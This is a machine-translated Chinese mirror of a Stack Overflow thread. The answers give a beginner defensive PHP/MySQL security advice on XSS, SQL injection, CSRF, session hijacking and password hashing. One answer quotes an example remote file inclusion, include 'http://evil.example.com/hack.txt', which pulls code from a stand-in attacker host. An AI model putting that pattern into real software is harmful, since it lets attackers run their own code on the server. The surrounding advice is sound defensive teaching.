首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >在发布我的网站之前,我需要多少网络安全知识?

在发布我的网站之前,我需要多少网络安全知识?
EN

Stack Overflow用户
提问于 2013-02-12 12:27:46
回答 4查看 190关注 0票数 0

我正在编写我的第一个php/mysql站点,并意识到除了在我的课程/书中学到的之外,我对安全性知之甚少。我需要多少安全知识才能发布自己的网站,而不必担心即使取得了适度的成功也会吸引黑客并导致我的网站被侵入?

如果它有助于提供更多的细节,我将创建一个站点,允许用户添加纯文本内容,并浏览其他用户添加的内容。文本应该存储在数据库中。

EN

回答 4

Stack Overflow用户

发布于 2013-02-12 13:05:41

您不可能知道所有的事情,所以这取决于您的代码有哪些可能的攻击向量以及风险是什么。

问自己:

  • :我是否包括或读取基于用户输入的文件?,那么您应该知道为什么白列表很重要,以及流包装的风险是什么(即include 'http://evil.example.com/hack.txt';)。请参阅:PHP --“包括”函数是否安全?
  • 我是根据用户输入输出用户生成的内容还是内容?,那么您应该知道什么是XSS (跨站点脚本),以及如何防止它。
  • 我使用动态SQL查询吗?,那么您应该知道SQL注入是什么,以及如何防止它们。附带注意:不要再使用mysql_函数了。请参阅:mysql扩展被废弃,并将在将来删除:使用mysqli或PDO代替。
  • ,我使用会话吗?,那么您应该知道会话劫持是什么,以及如何防止它。
  • 我使用文件上传吗?那么你应该知道保护文件上载 (PDF链接)
  • 我处理用户密码吗?,那么您应该知道最先进的密码哈希技术,即bcrypt。请参阅:如何使用bcrypt在PHP中哈希密码?
  • 我使用特定于用户的表单吗?,那么您应该知道CSRF (跨站点请求伪造)以及如何防止它。
  • :我是否使用发送邮件的表单?,那么您应该了解电子邮件注入,或者使用您知道是针对它的库,比如迅捷者
  • 我使用任何形式吗?然后不使用PHP_SELF作为它的操作,因为服务器变量

此列表不完整,但应涵盖最常见的简单web应用程序的用例及其安全威胁。

关于风险的

一旦您处理用户的合理个人数据或将站点托管到您自己的虚拟服务器上,您就需要承担额外的责任,因为最糟糕的情况不再仅仅是您的站点可能被破坏,而是私有数据可能被公开,您的服务器可能会变成垃圾邮件,甚至更糟。

最重要的规则是:不信任任何传入数据

对于这个规则的扩展,对于初学者非常重要,:准确地使用适合当前上下文的度量。不要仅仅把所有的东西都抛到你所知道的用户输入上,希望它更安全,这是counterproductive!我经常会遇到这样的问题:“如果我在所有的addslashes(mysql_real_escape_string(strip_tags(htmlspecialchars())))变量上使用$_POST,我的应用程序安全吗?”--如果您甚至认为这是一种有效的方法,您就会严重误解关于用户输入的安全性是如何工作的。重复一遍:什么是安全的,什么不是安全的,总是取决于上下文!

一个很好的学习资源是开放Web应用程序安全项目

票数 3
EN

Stack Overflow用户

发布于 2013-02-12 12:34:16

这是不够的。但希望你能继续进步。也许等你准备好了,你就会了解自己。

学习最常见的安全问题,例如:

  • Sql注入
  • 形式欺骗
  • XSS

并记住:

  • 始终将用户输入(包括会话)
  • 阻止对不应该公开的文件夹的访问
  • 使用河豚代替md5/sha1 1作为密码
  • 向最终用户隐藏错误(并记录它们)

还可以看看本指南,它总结了最著名的安全问题。

票数 2
EN

Stack Overflow用户

发布于 2013-02-12 12:33:17

看看SQL注入和XSS。所有这些都是为了验证用户的输入。永远不要相信用户。

SQL注入

XSS

最后,最好的学习方法是因为安全性不好而遭受攻击。那你就明白它是怎么工作的了。只要一个提示,做备份。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/14832569

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档